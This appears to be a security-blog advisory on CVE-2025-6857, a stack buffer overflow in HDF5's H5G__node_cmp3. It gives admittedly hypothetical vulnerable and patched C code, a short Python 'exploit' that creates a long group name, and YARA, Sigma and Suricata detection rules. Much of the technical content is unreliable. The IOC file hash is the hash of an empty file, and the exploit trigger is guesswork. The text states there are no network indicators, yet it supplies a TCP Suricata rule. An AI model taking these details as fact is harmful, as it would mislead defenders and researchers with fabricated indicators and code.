CVE-2025-6857

Executive Summary

CVE-2025-6857 is a stack-based buffer overflow vulnerability in HDF5 version 1.14.6, specifically in the H5G__node_cmp3 function within src/H5Gnode.c. This flaw allows a local attacker to trigger a stack buffer overflow, potentially causing a denial of service or arbitrary code execution. The vulnerability has a CVSS score of 3.3 (Low), but the public availability of an exploit increases the risk. No official patch is currently available, and the vendor has not released a security advisory.

Supply Chain & Package Security

HDF5 is a widely used data model, library, and file format for storing and managing large amounts of data. It is commonly integrated into scientific computing, data analysis, and machine learning pipelines. The vulnerability affects the core library, which may be distributed as a system package or bundled with applications. Organizations using HDF5 in their software supply chain should assess their exposure and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

The low CVSS score reflects the local attack vector and limited impact. However, the public exploit and lack of patch elevate the real-world risk, especially in environments where untrusted users can execute code.

Deep Dive & Mechanics

The vulnerability resides in the H5G__node_cmp3 function in src/H5Gnode.c. This function is used for comparing nodes in the HDF5 group data structure. The stack-based buffer overflow occurs due to improper bounds checking when copying data to a fixed-size stack buffer. An attacker can craft a malicious HDF5 file that, when processed by the library, causes the function to write beyond the allocated buffer, corrupting adjacent stack memory.

The exploit is triggered locally, meaning an attacker must have the ability to open a specially crafted HDF5 file with the vulnerable library. The overflow can lead to a crash (denial of service) or, with careful manipulation, arbitrary code execution.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the current implementation in HDF5 1.14.6. The patched code would require proper bounds checking and safe string handling.

Vulnerable Code (H5Gnode.c):

// Hypothetical vulnerable snippet
int H5G__node_cmp3(const void *key1, const void *key2) {
    char buffer[256];
    // Unsafe copy without bounds check
    strcpy(buffer, (const char *)key1);
    // ... comparison logic
}

Patched Code (Hypothetical):

int H5G__node_cmp3(const void *key1, const void *key2) {
    char buffer[256];
    // Safe copy with bounds check
    strncpy(buffer, (const char *)key1, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... comparison logic
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• HDF5 1.14.6 installed on a local system.
• Ability to create or modify HDF5 files.

Exploit Steps:

1. Craft a malicious HDF5 file with a specially crafted group node that triggers the overflow.
2. Use a tool like h5dump or a custom program to open the file with the vulnerable library.
3. The overflow will corrupt the stack, potentially leading to a crash or code execution.

Example Exploit (Python):

import h5py
import numpy as np

# Create a malicious HDF5 file
with h5py.File('exploit.h5', 'w') as f:
    # Craft a group with a long name to trigger overflow
    f.create_group('A' * 300)

Usage:

python exploit.py
h5dump exploit.h5

Blue Team

Detection:

• Monitor for crashes or abnormal behavior in applications using HDF5.
• Use the provided YARA and Sigma rules to detect exploitation attempts.
• Enable stack canaries and ASLR to mitigate exploitation.

Mitigation:

• Restrict execution of untrusted HDF5 files.
• Apply vendor patches when available.
• Use sandboxing or containerization for HDF5 processing.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • exploit.h5: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names:
  • h5dump
  • h5ls
  • Any application using HDF5 library
• Network Indicators:
  • None (local vulnerability)
• Log Entries:
  • Application crash logs with stack traces referencing H5G__node_cmp3

Detection Engineering

YARA Rule

rule CVE_2025_6857_HDF5_StackOverflow {
    meta:
        description = "Detects HDF5 files exploiting CVE-2025-6857 stack buffer overflow"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6857"
    strings:
        $hdf5_magic = { 89 48 44 46 0D 0A 1A 0A }
        $long_group = /A{250,}/
    condition:
        $hdf5_magic at 0 and $long_group
}

Sigma Rule

title: CVE-2025-6857 HDF5 Stack Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-6857 via process crashes
author: Valters IT
date: 2025-04-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\h5dump.exe'
        CommandLine|contains: 'exploit.h5'
    condition: selection
falsepositives:
    - Legitimate use of long group names
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-6857 HDF5 Stack Overflow Attempt"; flow:to_server; content:"|89 48 44 46 0D 0A 1A 0A|"; depth:8; content:"AAAA"; distance:0; within:300; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict access to HDF5 files from untrusted sources. Use file integrity monitoring to detect malicious files.
• Short-term: Apply vendor patches when released. Consider using a memory-safe language wrapper or sandboxing.
• Long-term: Monitor for updates from the HDF Group. Implement stack protection mechanisms (e.g., /GS on Windows, -fstack-protector on Linux).

Valters IT
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